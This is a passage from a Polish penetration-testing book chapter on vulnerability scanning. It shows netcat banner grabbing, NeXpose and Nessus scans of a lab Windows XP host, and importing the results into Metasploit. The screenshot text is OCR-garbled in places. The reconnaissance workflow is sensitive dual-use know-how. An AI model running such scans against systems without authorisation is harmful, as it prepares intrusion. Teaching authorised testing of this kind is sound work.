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Skanowanie luk
w zabezpieczeniach

Skaner luk w zabezpieczeniach (ang. vulnerability scanner) jest zautomatyzo-
wanym programem przeznaczonym do wyszukiwania stabych punktéw kom-
puteréw, systeméw komputerowych, sieci oraz aplikacji. Program ten sonduje
system, wysylajac do niego poprzez sie¢ porcje danych i analizujac otrzymane
odpowiedzi. Ma to na celu enumeracje wszelkich luk w zabezpieczeniach celu
poprzez wykorzystanie jako punktu odniesienia wtasnej bazy danych luk w za-
bezpieczeniach.

Roézne systemy operacyjne zazwyczaj odmiennie reaguja na wysylane prébki
sieciowe z uwagi na wykorzystywanie réznych implementacji sieciowych. Te
unikatowe odpowiedzi stuzg jako odcisk palca (ang. fingerprint), ktéry jest wy-
korzystywany przez skaner luk w zabezpieczeniach do okreslenia wersji systemu
operacyjnego, a nawet poziomu zainstalowanych poprawek. Skaner luk w za-
bezpieczeniach moze réwniez wykorzystywaé zestawy poswiadczen uzytkowni-
ka w celu zalogowania sie do zdalnego systemu i dokonania enumeracji opro-
gramowania i ustug, co pozwala okreslié, czy system jest zalatany. Na podstawie
uzyskanych wynikéw przedstawia raport wyliczajacy wszystkie luki w zabezpie-
czeniach wykryte w danym systemie. Taki raport moze by¢ uzyteczny zar6wno
dla administratoréw sieci, jak i dla pentesteréw.
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Skanery luk w zabezpieczeniach zasadniczo generujg duzy ruch w sieci i dla-
tego nie sg zazwyczaj wykorzystywane w testach penetracyjnych, kiedy jednym
z zalozen jest pozostanie niewykrytym. Jesli jednak przeprowadzasz test pene-
tracyjny, w przypadku ktérego wykrycie nie stanowi problemu, to taki skaner
moze zaoszczedzié Ci recznego sondowania systeméw w celu okreslenia luk w za-
bezpieczeniach oraz pozioméw zainstalowanych poprawek.

Bez wzgledu na to, czy korzystasz ze zautomatyzowanych skaneréw, czy wy-
konujesz te dziatania recznie, skanowanie jest zawsze jednym z najbardziej istot-
nych elementéw w procesie przeprowadzania testéw penetracyjnych. Jesli zo-
stanie ono wykonane doktadnie, bedzie stanowilo najwieksza warto$é¢ dla Twojego
klienta. W tym rozdziale oméwimy szereg skaneréw luk w zabezpieczeniach
oraz sposoby ich integracji z Metasploit. Wskazemy réwniez kilka moduléw
pomocniczych w Metasploit Framework, ktére mogg lokalizowaé okreslone luki
w zabezpieczeniach systeméw zdalnych.

Podstawowe skanowanie luk
w zabezpieczeniach

Przyjrzyjmy sie, jak dziala skanowanie na najbardziej podstawowym poziomie.
W zamieszczonym ponizej listingu zastosujemy netcat do przechwycenia baneru
z celu o adresie IP 192.168.1.203. Przychwytywanie baneréw (ang. banner grabbing)
polega na polaczeniu sie z ustuga zdalnej sieci i odczytaniu zwracanego identy-
fikatora (baneru) tej ustugi. Wiele ustug sieciowych, takich jak WWW, transfer
plik6w oraz serwery pocztowe, zwraca swoje banery natychmiast po nawigzaniu
z nimi polaczenia lub w odpowiedzi na okreslone polecenie. Polagczymy sie te-
raz z serwerem WWW na porcie TCP 80 i wySlemy zadanie GET HTTP, ktére
umozliwi nam przyjrzenie sie nagléwkowi informacji zwracanej przez ten zdal-
ny serwer w odpowiedzi na nasze zadanie.

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request

O Server: Microsoft-115/5.1

Informacja zwrécona w punkcie @ informuje nas, ze system dziatajacy na
porcie 80 jest serwerem WWW opartym na Microsoft IIS 5.1. Uzbrojeni w te
informacje mogliby§my wykorzystaé skaner luk w zabezpieczeniach, tak jak po-
kazuje to rysunek 4.1, do okreslenia, czy ta wersja I1S posiada jakies luki w za-
bezpieczeniach i czy ten konkretny serwer ma zainstalowane poprawki.
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oo e e

Report Info 192.168.1.203 80 /tcp List m Detail

16aE] Name Port

Ports / Protocols Service Detection www (B0ftcp)

10107 HTTP Server Type and Version www (B0fcp) | Low
43111 HTTP Methods Allowed (per directory) www (80ftcp) | Low
11874 Microsoft IS 404 Response Service Pack Signature www (B0ftcp) | Low
11213 | HTTP TRACE / TRACK Methods Allowsd www (80ftcp) | Medium
11424 WebDAV Detection www (80fcp) | Low
24260 HyperText Transfer Protocol (HTTP) Information www (80itcp) | Low

Download Report

Rysunek 4.1. Wyniki skanowania luk w zabezpieczeniach docelowego serwera WWW

Oczywiscie w praktyce nie jest to takie proste. Skanery luk w zabezpiecze-
niach czesto generujg wiele wynikéw fatszywie pozytywnych (ang. false positives,
np. raportowanie luki w zabezpieczeniach tam, gdzie jej nie ma) oraz falszywie
negatywnych (ang. false negatives, np. niewykrycie luki w zabezpieczeniach
tam, gdzie ona istnieje). Ma to zwigzek z subtelnymi réznicami w konfiguracji
system6w i aplikacji. Ponadto twércy skaneréw luk w zabezpieczeniach maja
motywacje, by skanery zglaszaly jak najwiecej pozytywnych wynikéw, poniewaz
im wiecej ,trafien”, tym lepiej wyglada to dla potencjalnego nabywey. Skanery luk
w zabezpieczeniach sa na tyle dobre, na ile dobre sg ich bazy danych. Mozna je
réwniez fatwo oszukac za pomocy falszywych baneréw lub niesp6jnych konfiguracji.

Przyjrzyjmy sie kilku najbardziej uzytecznym skanerom luk w zabezpiecze-
niach, takim jak NeXpose, Nessus oraz inne wyspecjalizowane skanery.

Skanowanie za pomoca NeXpose

Kup ksigzke

NeXpose to dostarczony przez Rapid7 skaner luk w zabezpieczeniach, ktéry ska-
nuje sieci w celu identyfikacji dzialajacych w nich urzadzen oraz przeprowadza
kontrole, zeby okresli¢ stabe punkty bezpieczenistwa systeméw operacyjnych
i aplikacji. Nastepnie dane uzyskane podczas skanowania sg analizowane i prze-
twarzane do zalaczenia w r6znych raportach.

Rapid7 oferuje wiele wersji skanera NeXpose, jednak my skorzystamy z edycji
Community, poniewaz jest ona darmowa. Jesli zamierzasz wykorzystywaé NeXpose
w celach komercyjnych, sprawdz informacje na temat r6znych wers;ji tej aplikacji,
ich funkcji oraz cen na stronie Rapid7 (http:/www.rapid7.com/vulnerability-scannerjsp).

Celem naszego skanowania bedzie domyslna instalacja Windows XP SP2, skon-
figurowana wedlug wskazéwek z zalacznika A. Najpierw wykonamy podstawowe
skanowanie jawne naszego celu i zaimportujemy wyniki do Metasploit. Te sek-
cje zakonczymy oméwieniem sposobu przeprowadzania skanowania NeXpose
bezposrednio z poziomu msfconsole zamiast korzystania z interfejsu WWW, co
eliminuje konieczno$¢ importowania wynikéw skanowania.
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Konfiguracja

Po zainstalowaniu NeXpose Community otwérz przegladarke i wpisz w pasku
adresowym https://<twdj adres ip>:3780. Zaakceptuj certyfikat z podpisem wla-
snym NeXpose i zaloguj sie, uzywajac poswiadczen, ktére podales podczas instalacji.
Powinien sie teraz uruchomié interfejs podobny do pokazanego na rysunku 4.2.
(Dokladne instrukcje instalacji NeXpose znajdziesz na stronie Rapid?7).

Help | Support | News | LogOut

*I:RAPID7

NEXPOSE
Customize dashboard User: dookie
Home P [ach | | 57 AssetFikeer
Site Listing Ex
There are no sites to display.
New Sie
Current Scan Listing for All Sites B
There are no scans to display.
New Manual Scan
Asset Group Listing =X

There are no asset groups to display.

y oup ] New Siatic
Rysunek 4.2. Zaktadka Home startowego interfejsu NeXpose

Na gérnym pasku na gléwnej stronie NeXpose dostepnych jest kilka zaktadek:

W Zaktadka Assets (zasoby) w punkcie @ wyswietla szczegoly
przeskanowanych komputeréw i innych urzadzen w Twojej sieci.

B Zakladka Reports (raporty) w punkcie ® zawiera liste wygenerowanych
raportéw ze skanowania luk w zabezpieczeniach.

B Zakladka Vulnerabilities (luki w zabezpieczeniach) w punkcie ® zawiera
szezegoly dotyczace wszelkich luk w zabezpieczeniach, wykrytych
podczas przeprowadzonych skanowan.

B Zaktadka Administration (administrowanie) w punkcie @ umozliwia
konfiguracje réznych opcji.

Przyciski znajdujace sie w gléwnym obszarze interfejsu umozliwiaja wyko-
nywanie typowych zadan, takich jak tworzenie nowego §rodowiska lub definio-
wanie nowego skanowania luk w zabezpieczeniach.

Kreator nowego srodowiska

Zanim rozpoczniesz skanowanie luk w zabezpieczeniach za pomoca NeXpose,
musisz skonfigurowa¢ srodowisko (ang. site) — logiczne zestawienie elementow,
takich jak okreslona podsieé, grupa serweréw, a nawet pojedyncze stacje robocze.
Takie srodowiska beda nastepnie skanowane przez NeXpose, a dla kazdego kon-
kretnego $rodowiska mozna zdefiniowa¢ rézne rodzaje skanowania.
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1. Aby utworzy¢ nowe Srodowisko, kliknij przycisk New Site w zaktadce

Home skanera NeXpose, wprowadz nazwe strony (pole Name) oraz krétki
opis (pole Description), a nastepnie kliknij przycisk Next.

. Na kolejnym etapie, przedstawionym na rysunku 4.3, mozesz szczegétowo

zdefiniowa¢ swoje cele. Mozesz dodaé pojedynczy adres IP, zakres
adres6w IP, nazwy hostéw itd. Mozesz rowniez wylaczy¢ ze skanowania
urzadzenia, takie jak drukarki. (Drukarki zazwyczaj niezbyt dobrze
reagujg na skanowanie. Mielismy do czynienia z przypadkami, kiedy
proste skanowanie luk w zabezpieczeniach powodowato uruchomienie
w drukarce kolejki drukowania ponad miliona czarnych stron!).

Po zakonczeniu dodawania (pole Included Devices) i wylaczania

(pole Excluded Devices) urzadzen ze skanowania kliknij przycisk Next.

SRARIDY Help | Support | News | Logou
NEXPOSE

User: dookie
Home :: Assets :: Sites 11 New Site :: Configuration 5 Tnaecn T | 5 assat e
Ganeral Site Conflguration  Frovous | e ) ceve | Garcn |
Davices
Scan Sanp Included Devices More Information
Credentials

The following list of TP addresses and/or host names will be induded In this site, Specify IP addresses using any of the

foloowineg notations:

Devices to scan 192.168.1.185 S
10.0.0.1 - 10L0.0.255
10.0.0.0/24
e exarmgle.com

Note:

Tmport list of devices to SCaN| Croose File ) b fin choase 1f CIDR notation i used (eg.
xaxxf24) It is assumed that the
entire network ks scanned and

Excluded Devices Network idantifier (0 and

Tha following list of 1P addresses and/or host namas will not ba scanned as part of this site. Nemr;ﬂruadus(adﬂrus{.iss)

B 10.0.0.0/24 will become 10.0.0.1 -
10.0.0.254

10.0.0.0/16 will become 10.0.0.1 -
10.0.255.254

Import list of devices to exclude Choose File | No e choson

{5 2010 Rapd7 LLL, Boston, MA | RapidT LLE Sabes: B66.TRAPIDT (772.7437)

Rysunek 4.3. Dodawanie urzqdzeri do nowego srodowiska NeXpose

. Teraz masz do wyboru kilka r6znych szablonéw skanowania

(Scan Template), takich jak Discovery Scan (skanowanie ujawniajace)

lub Penetration test (test penetracyjny). Mozesz réwniez wybraé silnik
skanowania (Scan Engine) oraz zdefiniowa¢ harmonogram automatycznego
skanowania (Scan Schedule). Dla celéw niniejszego oméwienia procedury
pozostaw wartosci domyslne i kliknij przycisk Next.

. Jesli posiadasz poswiadczenia (ang. credentials) dla srodowiska, ktére

chcesz skanowaé, to mozesz je dodaé¢ na tym etapie. Poswiadczenia moga
poméc w wygenerowaniu bardziej doktadnych i kompletnych wynikéw
dzieki doglebnej enumeracji zainstalowanego oprogramowania i polityki
systemu danego celu.
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5. W zaktadce Credentials kliknij przycisk New Login, podaj nazwe
uzytkownika i hasto dla adresu IP, ktéry cheesz skanowadé, a nastepnie
kliknij Test Login, zeby je zweryfikowaé. Zapisz poswiadczenia.

6. Na koniec kliknij przycisk Save, aby zakoriczy¢ dziatanie kreatora nowego
srodowiska i powr6cié do zaktadki Home. W tej zakladce powinno by¢ teraz
widoczne nowe srodowisko, ktére wlasnie dodates. Pokazuje to rysunek 4.4.

RARID? Help | Support | Mews | Log ot
NEXPOSE

Davices Vulns Risk Score  Scan Status
L5

Current Scan Listing for All Sites
Thare are ne scans o dispay.

Asset Group Lisdng
Thare are no asset groups to display.

D 2010 Rapid? LLL, Boston, MA | Rapsd? LLC Seles: 866 7RAPIDT (772 7417)

Rysunek 4.4. Zaktadka Home, na ktdrej widac informacje o nowo utworzonym
Srodowisku

Kreator nowego skanowania recznego

Jesli skonfigurowale$ juz nowe §rodowisko, mozesz przygotowaé pierwsze
skanowanie:

1. Kliknij przycisk New Manual Scan (nowe skanowanie reczne), widoczny
na rysunku 4.4. Powinno zosta¢ wy$wietlone okno dialogowe Start New
Scan (rozpocznij nowe skanowanie), tak jak na rysunku 4.5. W tym oknie
definiujesz elementy, ktére chcesz skanowaé (Included assets), oraz te,
ktére cheesz ze skanowania wylaczy¢ (Excluded assets). W tym przyktadzie
bedziemy skanowaé nasz domyslny system Windows XP.

2. Sprawdz dobrze docelowy adres IP, aby upewnic sie, ze nie przeskanujesz
przypadkowo niewlasciwego urzadzenia lub sieci. Kliknij przycisk Start Now,
zeby rozpoczaé.

3. NeXpose powinien automatycznie od$wiezaé biezacg strone w miare
postep6éw skanowania. Poczekaj, az status dla Scan Progress (postep
skanowania) oraz Discovered Assets (odkryte zasoby) bedzie wskazywat
Completed (zakoniczone), tak jak widaé to na rysunku 4.6. W sekcji
Scan Progress mozesz zobaczy¢, ze skanowanie naszego pojedynczego
urzadzenia doprowadzito do wykrycia 268 luk w zabezpieczeniach.

Z kolei sekcja Discovered Assets zawiera wiecej informacji na temat celu,
takich jak nazwa urzadzenia oraz jego system operacyjny. Przejdz teraz
do zaktadki Reports.
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Start New Scan ]

You can scan one or more assets within this site by entering IP addresses, IP address
ranges or host names.

Site: Labl 'B‘
Site Details
Scan template: Full audit
Included assets: 192.168.1.195
P
Excluded assets:
s

Manual Scan Targets

@) Scan all assets within this site

© Specify one or more assets within this site to scan

Assets to scan:

B B

Rysunek 4.5. Okno dialogowe konfiguracji skanowania w NeXpose

Help | Support | News | LogOut

RARIDT

NEXPOSE
Home 3: Assets i: Stes i Labl :; Scans 1 Full audit B mem 1 | 5 Asuet P
r— L
Scan Type Started Devices Discovered ;"‘u::'ﬂdm Elapsed Status
Manual 2;:’7:(:‘;% Adiavle 1 268 3 minuses Complated succassfully

Device Address Device Name ‘Operating System Vulnerabilitied: Scan Duration  Scan Status
192,168.1,195 V-MAC-XP Moo WILGE X e 26 3 minutes Completsd

B 2010 Ragsd? 1L, Brstnn, MA | Ropid? LU Salrs: A6 FRAPIDT (772.7437)

Rysunek 4.6. Ukonczone skanowanie w NeXpose

Kreator nowego raportu

Jesli uruchomites NeXpose po raz pierwszy i ukonczyles tylko jedno skanowanie,
to zakladka Reports powinna pokazywad, ze nie masz wygenerowanego zadnego
raportu.

1. Aby uruchomié kreatora nowego raportu, kliknij przycisk New Report,
tak jak pokazuje to rysunek 4.7.
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“1-RAPID7 Help | Support | News | LogOut

NEXPOSE
User: dookie
Home :: Reports P lseaen | | 57 Asset Filter
Choose one of the listed reports to view additional details about your devices.
Report Listing
o |

© 2010 Rapid7 LLC, Boston, MA | Rapid7 LLC Sales: 866.7RAPID? (772.7437)

Rysunek 4.7. Zaktadka Reports skanera NeXpose

2. W polu Report name wprowadz nazwe, jaka wybrate$ dla danego raportu.
W polu Report format wybierz opcje NeXpose Simple XML Report, co umozliwi
Ci zaimportowanie wynikéw skanowania do Metasploit. Mozesz réwniez
wybra¢ szablon raportu w polu Report template oraz skonfigurowaé odpowiednig,
strefe czasowa w polu Report time zone, jesli na przyklad przeprowadzasz
swoij test penetracyjny w podrézy. Wspomniane opcje przedstawione
zostaly na rysunku 4.8. Kliknij przycisk Next, jesli chcesz kontynuowad.

“1:RAPID7 Help | Support | News | LogOut

NEXPOSE

User: dookie

Home :: Reports :: New Report :: Configuration P [Searcn (5 Asset Filter
Report Confiuraton ]
Content
NeXpose allow users to create canned reports in a variety of formats including PDF, RTF, HTML, XML and Text. In addition, NeXpose
Baseline can export data to most database systems or to structured file formats including XML and CSV.
Schedule
Report name Target_195
Report format
Report template [ Tra—
Report time zone [ (GMT -0700) Mountain Time (US & Canada) H‘i

© 2010 Rapid7 LLC, Boston, MA | Rapid7 LLC Sales: 866.7RAPID? (772.7437)

Rysunek 4.8. Wybér nazwy i formatu raportu

3. W kolejnym oknie dodaj urzadzenia, ktére maja byé wtaczone do raportu,
Klikajac Select Sites (wybierz srodowiska) i dodajac zakres przeskanowanego
celu, tak jak pokazuje to rysunek 4.9. Nastepnie kliknij Save (zapisz).

Select Sites

O site Name SD‘;’I' ins Risk Score Last Scan

Tue Mar 08

[ Lab1 1 268 1249681 o0

Rysunek 4.9. Wybér srodowiska, ktére ma byc¢ zatqczone w raporcie
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4. W oknie dialogowym Select Devices wybierz elementy docelowe, ktére
maja by¢ zalaczone w Twoim raporcie. Nastepnie kliknij Save.

5. Bedac na powr6t w oknie Report Configuration (konfiguracja raportu),
kliknij Save, aby zaakceptowa¢ pozostale wartosci domyslne dla danego
raportu. Na licie w zakladce Reports powinien teraz pojawié sie nowo
utworzony raport, tak jak przedstawia to rysunek 4.10. (Pamietaj, zeby
zapisa¢ plik raportu, aby méce uzyé go w Metasploit Framework).

~:RAFID? Help | Support | News | LogOut

NEXPOSE

User: dookie

Home :: Reports :: Target_195 :: History P Tsearcn ‘ %y Asset Filter

Below are the generated reports for the Target_195 report.

Report History
Created On Report Size Delete
|Tue Mar 08 2011 15:03:00 GMT-0700 (MsT) 101 KB ol |

© 2010 Rapid? LLC, Boston, MA | Rapid? LLC Sales: 866.7RAPID? (772.7437)

Rysunek 4.10. Zaktadka Reports wyswietlajgca liste raportéw

Importowanie raportu do Metasploit Framework

Po przeprowadzeniu pelnego skanowania luk w zabezpieczeniach za pomocy
aplikacji NeXpose musisz zaimportowaé¢ wyniki do Metasploit. Zanim jednak to
zrobisz, powiniene$ utworzy¢ nowa baze danych, stosujac polecenie db_connect
z poziomu msfconsole. Po utworzeniu bazy danych mozesz zaimportowaé plik
XML z NeXpose za pomocg polecenia db_import. Metasploit automatycznie wy-
kryje, ze dany plik pochodzi z aplikacji NeXpose, i zaimportuje przeskanowanego
hosta. Teraz mozesz zweryfikowaé poprawno$é przeprowadzonego importu, wpi-
sujac polecenie db_hosts. (Wymienione czynno$ci przedstawia ponizszy listing).
Jak mozesz zauwazy¢ w punkcie @, Metasploit posiada teraz informacje o 268
lukach w zabezpieczeniach, wykrytych podczas przeprowadzonego przez Ciebie
skanowania.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/host_195.xm1

[*] Importing 'NeXpose Simple XML' data

[*] Importing host 192.168.1.195

[*] Successfully imported /tmp/host 195.xml

msf > db_hosts -c address,svcs,vulns

address Svcs  Vulns Workspace

192.168.1.195 8 268 @ default
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Aby wyswietlié¢ wszystkie szczegély luk w zabezpieczeniach zaimportowanych
do Metasploit, w tym liczbe typowych luk w zabezpieczeniach i ekspozycji (ang.
Common Vulnerabilities and Exposures — CVE), zastosuj ponizsze polecenie:

msf > db_vulns

Jak widzisz, przeprowadzenie jawnego skanowania luk w zabezpieczeniach
z pelymi poswiadczeniami moze dostarczy¢ niesamowitej ilo$ci informacji — w tym
przypadku odnaleziono 268 luk w zabezpieczeniach. Jednak z oczywistych wzgle-
déw byto to skanowanie charakteryzujace sie wysokim poziomem szuméw, ktére
prawdopodobnie przyciagnety duzo uwagi. Tego rodzaju skanowania najlepie;j
sprawdzaja sie w testach penetracyjnych niewymagajacych potajemnych dziatan.

Uruchamianie NeXpose z poziomu MSFconsole

Uruchamianie aplikacji NeXpose z poziomu interfejsu graficznego WWW do-
skonale sprawdza sie w przypadku precyzyjnego skanowania luk w zabezpiecze-
niach oraz generowania raportéw. Jesli jednak wolisz pozosta¢ przy msfconsole,
takze mozesz przeprowadzi¢ pelne skanowanie luk w zabezpieczeniach — dzieki
wtyczce NeXpose dotaczonej do Metasploit.

Aby zademonstrowaé réznice w wynikach pomiedzy po§wiadczonym i nie-
poswiadczonym skanowaniem, uruchomimy teraz skanowanie z Metasploit bez
okreslania nazwy uzytkownika i hasta dla docelowego systemu. Zanim rozpocz-
niesz, usun wszystkie istniejace bazy danych za pomoca polecenia db_destroy,
utwo6rz nowg baze danych w Metasploit za pomoca polecenia db_connect, a na-
stepnie zaladuj wtyczke NeXpose, stosujac polecenie Toad nexpose. Ilustruje to
ponizszy listing.

msf > db_destroy postgres:toor@127.0.0.1/msf3
[*] Warning: You will need to enter the password at the prompts below
Password:

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > load nexpose

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose

Przy zatadowanej wtyczce NeXpose przyjrzyj sie poleceniom zatadowanym
konkretnie dla tego skanera luk w zabezpieczeniach. W tym celu wprowadz
komende help. Na gorze listy powiniene§ teraz zobaczy¢ szereg nowych pole-
cen przeznaczonych specjalnie do uruchamiania NeXpose.

msf > help
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Zanim uruchomisz swoje pierwsze skanowanie z poziomu msfconsole, mu-
sisz polaczy¢ sie z instalacja NeXpose. Wpisz polecenie nexpose_connect -h, aby
wyswietli¢ informacje o sposobie nawigzywania potaczenia. Dodaj swoja nazwe
uzytkownika oraz hasto i adres hosta. Zaakceptuj réwniez ostrzezenie o certyfi-
kacie SSL, dodajac argument ok na koficu wiersza:

msf > nexpose_connect -h

[*] Usage:

[*] nexpose_connect username:password@host[:port] <ssl-confirm>
[*] -0R-

[*] nexpose_connect username password host port <ssl-confirm>

msf > nexpose connect dookie:s3cr3t@192.168.1.206 ok
[*] Connecting to NeXpose instance at 192.168.1.206:3780 with username
>dookie...

Teraz, aby zainicjowa¢ skanowanie, wprowadz polecenie nexpose_scan i po-
daj docelowy adres IP, tak jak zostato to pokazane ponizej. W tym przykladzie
skanujemy pojedynczy adres IF, ale mozesz réwnie dobrze podaé jako argument
zakres hostéw (192.168.1.1-254) lub podsie¢ w notacji CIDR (192.168.1.0/24).

msf > nexpose scan 192.168.1.195

[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses

msf >

Kiedy skanowanie NeXpose zostanie zakoficzone, jego wyniki powinny zo-
sta¢ zapisane w bazie danych, ktéra utworzyles wczesniej. Aby przejrzeé te wy-
niki, zastosuj polecenie db_hosts, tak jak pokazuje to kolejny listing. (W tym
przykladzie listing zostal skrécony poprzez zastosowanie filtrowania po kolum-
nie adresu [ang. address)).

msf > db_hosts -c address

Hosts

address Svcs  Vulns Workspace
192.168.1.195 8 7 default
msf >

Jak mozesz zauwazyé, NeXpose wykryl 7 luk w zabezpieczeniach. Wpro-
wadz polecenie db_vulns, aby wyswietli¢ znalezione luki:

msf > db_vulns
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Chociaz to skanowanie wykrylo znacznie mniej luk w zabezpieczeniach w sto-
sunku do 268 znalezionych w poprzednim skanowaniu wykonanym poprzez in-
terfejs WWW z podaniem poswiadczen, to i tak te informacje powinny by¢ wy-
starczajace do rozpoczecia eksploatacji danego systemu.

Skanowanie za pomoca aplikacji Nessus

Skaner luk w zabezpieczeniach Nessus, dostarczony przez Tenable Security
(hitp:/fwww.tenable.com/), jest jednym z najpopularniejszych. Wtyczka Nessus
do Metasploit umozliwia Ci przeprowadzanie skanowania i pobieranie informacji
ze skan6w Nessusa za pomocg konsoli. Jednak w ponizszych przykladach bedziemy
importowaé wyniki skanowania Nessusa niezaleznie. Korzystajac z Nessusa 4.4.1
na licencji Home Feed', uruchomimy skanowanie z poswiadczeniami tego samego
celu, ktory wykorzystywalismy w poprzednich przyktadach w tym rozdziale. Im
wiecej narzedzi wykorzystasz do sprecyzowania przyszlych atakéw na wstep-
nych etapach testu penetracyjnego, tym lepie;.

Konfiguracja skanera Nessus

Po pobraniu i zainstalowaniu skanera Nessus otwérz przegladarke internetowa
i wpisz w pasku adresowym https://<twéj_adres_ip>:8834. Zaakceptuj certyfikat
i zaloguj sie, uzywajac poswiadczen, ktére utworzyles w trakcie instalacji. Powinno
wyswietlié sie gléwne okno aplikacji Nessus, pokazane na rysunku 4.11.

ekl ] Hay | Ak | Long et

® Upd @

Marme Status Last Updated L

Rysunek 4.11. Gtéwne okno skanera Nessus

' Darmowa licencja dla uzytkownikéw domowych — prayp. tlum.
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Po zalogowaniu wy$wietlana jest sekcja Reports (raporty), w ktérej powinna
znajdowaé sie lista wszystkich poprzednio przeprowadzonych skanowan luk
w zabezpieczeniach. Na znajdujacym sie na samej gorze gtéwnym pasku narzedzi
dostepne sg jeszcze zaktadki: Scans (skanowania — stuzy do tworzenia i prze-
gladania zadan zwiazanych ze skanowaniem), Policies (polityki — konfigurowa-
nie r6znych wtyczek stosowanych podczas skanowania) oraz Users (uzytkownicy
— dodawanie kont uzytkownikéw do serwera Nessus).

Tworzenie polityki skanowania Nessusa

Zanim rozpoczniesz skanowanie, musisz najpierw stworzy¢ polityke skanowania
(ang. scan policy) Nessusa. W zakladce Policies kliknij zielony przycisk Add, aby
otworzy¢ okno konfiguracji polityki, pokazane na rysunku 4.12.

nl’lessus dokin | Hew | Mt | Laet

Policies

® Add Policy i MHetwork Congestion

General

Ping Hast

Part Scan Options

Port Sean fRange (G

Performance

Rysunek 4.12. Okno konfiguracji polityki skanowania Nessusa

W tym oknie mozesz zobaczyé wiele dostepnych opcji. Wszystkie one zo-
staly opisane w dokumentacji Nessusa.

1. Wpisz nazwe skanowania, tak jak pokazuje to rysunek 4.13. Uzyta w naszym
przykladzie nazwa The_Works bedzie okreslata polityke wykorzystywania
przez skaner Nessus wszystkich ptaszczyzn kontroli. Kliknij Next.

2. Podobnie jak w przeprowadzanym poprzednio skanowaniu za pomoca
aplikacji NeXpose, skonfigurujemy wykorzystanie poswiadczen (ang.
credentials) logowania systemu Windows. Zapewni to bardziej kompletny
obraz luk w zabezpieczeniach, obecnych w docelowym systemie.

Whisz poswiadczenia logowania systemu docelowego i kliknij Next.
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unﬁsus dookis | vep | Abcu

Policies " Reports

® Add Policy Basic Hetwark Congestion
General

[ §
- P Sca Ping Hest

Scan
Fort Soan Options
Port Scan Range (L
Performance

Loy Scan Datals io Server

Designale H

Rysunek 4.13. Zaktadka General — ogéina konfiguracja polityki

3. W zakladce Plugins (wtyczki) masz do wyboru szereg réznych wtyczek
skanera Nessus dla systeméw Windows, Linux, BSD i innych. Jesli
przyktadowo wiesz, ze bedziesz przeprowadzat skanowanie jedynie
system6éw Windows, to mozesz dla pierwszego przebiegu skanowania
usungg z listy wiele niepotrzebnych wtyczek. Dla cel6w naszego skanowania
wybierzemy wszystkie wtyczki, klikajac Enable All (na rysunku 4.14
w lewym dolnym rogu). Teraz kliknij Next.

) nessus dookin | b | s |

Policies

@® Add Policy Eillar Show Oy Enabled Plugine
Families
(D) Alx Local Security Chacks
Backdoors
Brute force amacks
Plugins
CGl abuses

) CGlabuses : X85

(=]

nabled Families: 43 Enabled Pluging 41744 Eﬂ&h»\l Désabla All

Cancal  Back Next

Rysunek 4.14. Zaktadka Plugins — wybér wtyczek Nessusa wykorzystywanych
podczas skanowania
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4. Koficowym etapem definiowania nowej polityki jest zakladka Preferences
(preferencje). Mozesz tutaj skonfigurowac pomijanie skanowania urzadzen
wrazliwych, takich jak drukarki sieciowe, skonfigurowaé zapisywanie
wynikéw do zewnetrznej bazy danych, podaé¢ poswiadczenia logowania
i wiele innych rzeczy. Kiedy zakonczysz konfigurowanie tej zaktadki,
kliknij Submit, aby zapisa¢ nowo utworzona polityke. Polityka ta powinna
pojawi¢ sie na liscie w zaktadce Policies, tak jak pokazuje to rysunek 4.15.

Ellessus dookis | vew | Amou | Logoa
Policies Reports  Scans  Policies  Users
& Add @ import
Name | Visibility | ownar
The_Works Privale dockie

Rysunek 4.15. Nowo dodana polityka skanera Nessus

Uruchamianie skanowania za pomocq Nessusa

Jesli utworzytes juz polityke skanowania, mozesz rozpoczaé konfiguracje kon-
kretnego skanowania. Wybierz zakladke Scans i kliknij przycisk Add, aby
otworzyé¢ okno konfiguracji. Wieksza cze$é konfiguracji Nessusa zawarta jest
w politykach skanowania, wiec kiedy definiujesz skanowanie, to wprowadzasz
jego nazwe, wybierasz odpowiednig polityke oraz okreslasz cele. Pokazuje to
rysunek 4.16.

dochle | Hew | Aot

® Add Scan
[ oot 105

Type

ECTRFTEN 152.168.1.195

Targets Fie

Cancel Launch Scan

Rysunek 4.16. Konfigurowanie skanowania Nessusa
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W naszym przykladzie skanujemy tylko jednego hosta, ale mozesz réwnie
dobrze wprowadzié zakres adreséw IP w notacji CIDR lub tez zatadowa¢ plik
zawierajacy adresy IP celow, ktére chcesz przeskanowaé. Kiedy zakonczysz
konfiguracje, kliknij Launch Scan (uruchom skanowanie).

Raporty skanera Nessus

Po zakoficzeniu skanowania nie bedzie ono juz widoczne w zaktadce Scans, za
to w zakladce Reports pojawi sie nowy wpis zawierajagcy nazwe skanowania, jego
status oraz ostatnig aktualizacje. Zaznacz wybrany raport i kliknij Browse, aby
otworzy¢ podsumowanie skanowania pokazujace poziomy dotkliwos$ci znalezio-
nych luk w zabezpieczeniach. Przedstawia to rysunek 4.17.

ﬂnesv,us dovkle | Mo | At | Leaou
Reports p v == T ————

Riport Info 1 results
Msirw; Hisl_195

Last Updats: Mar 8, 2011 18:43

Status: Completed

Dewenlond Roport

Bhow Fllors

Ansal Fitors

Adtive Filters

Rysunek 4.17. Podsumowanie raportu z naszego skanowania za pomocq Nessusa

UWAGA  Pamigtaj, Ze to skanowanie bylo przeprowadzone z podaniem poswiadczen sys-
temu Windows, wigc Nessus znalazl duzo wiecej luk w zabezpieczeniach, niz
mialoby to miejsce w przypadku anonimowego skanowania.

Importowanie wynikéw do Metasploit Framework
Zaimportujmy teraz wyniki naszego skanowania do Metasploit Framework.

1. Kliknij przycisk Download Report w zakladce Reports, aby zapisaé wyniki
na dysk twardy. Domys$lny format raportéw skanera Nessus, czyli .nessus,
moze by¢ przetwarzany przez Metasploit. Jesli wiec zostaniesz poproszony
o wybér domyslnego formatu, kliknij Submit, aby zatwierdzic.

2. Zaladuj msfconsole, utwérz nowg baze danych za pomocg polecenia
db_connect i zaimportuj plik wynikéw Nessusa, wpisujgc polecenie
db_import z podaniem nazwy pliku raportu.
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msf > db_connect postgres:toor@127.0.0.1/msf3

msf > db_import /tmp/nessus_report Host 195.nessus
[*] Importing 'Nessus XML (v2)' data

[*] Importing host 192.168.1.195

